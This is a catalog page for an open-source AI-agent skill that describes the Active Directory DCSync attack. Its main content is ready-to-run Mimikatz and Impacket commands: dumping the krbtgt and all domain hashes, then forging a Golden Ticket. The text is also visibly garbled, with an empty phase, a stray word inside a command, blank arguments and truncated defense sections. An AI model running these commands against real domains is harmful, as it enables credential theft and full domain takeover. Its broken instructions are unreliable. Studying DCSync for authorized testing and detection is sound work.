Ad Dcsync Attack

Active Directory DCSync Attack

When to Use

• When an attacker has compromised an account or group with the highly privileged DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights (often Domain Admins or maliciously delegated accounts).
• To stealthily extract NTLM hashes (including the krbtgt account hash) directly from Active Directory over the network, avoiding the need to execute code or drop malware directly on a Domain Controller.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying the Target (krbtgt) and Access Rights

# ```

### Phase 2: Execution via Mimikatz (Windows)

```text
# privilege::debug
lsadump::dcsync /domain:lab.local /user:krbtgt

# lsadump::dcsync /domain:lab.local /all /csv

Phase 3: Execution via Impacket (Linux/Network)

# impacket-secretsdump -just-dc-user krbtgt lab.local/administrator:Password123@10.10.10.10

# beautifully impacket-secretsdump lab.local/administrator:Password123@10.10.10.10

Phase 4: Utilizing the Material (Golden Ticket)

# impacket-ticketer -nthash  -domain-sid  -domain lab.local Administrator

Decision Point 🔀

flowchart TD
    A[Identify Rights ] --> B{Possess Rights ]}
    B -->|Yes| C[Execute DCSync ]
    B -->|No| D[Escalate Privileges ]
    C --> E[Extract Hashes ]

🔵 Blue Team Detection & Defense

• Monitor Directory Replication events: Review ACLs for Replication Rights (BloodHound / ADAC): Network Segmentation & Monitoring: Key Concepts

| Concept | Description | |---------|-------------|

Output Format

Ad Dcsync Attack — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

> For cross-cutting methodology applicable to all vulnerability classes, see: > - [_shared/references/elite-chaining-strategy.md](../shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns > - [_shared/references/elite-report-writing.md](../shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference > - [_shared/references/real-world-bounties.md](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

References

• AdSecurity: Mimikatz DCSync Usage, Exploitation, and Detection
• HackTricks: DCSync

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: ShulkwiSEC
• Source: ShulkwiSEC/bb-huge
• License: MIT

Install and usage instructions live in the source repository linked above.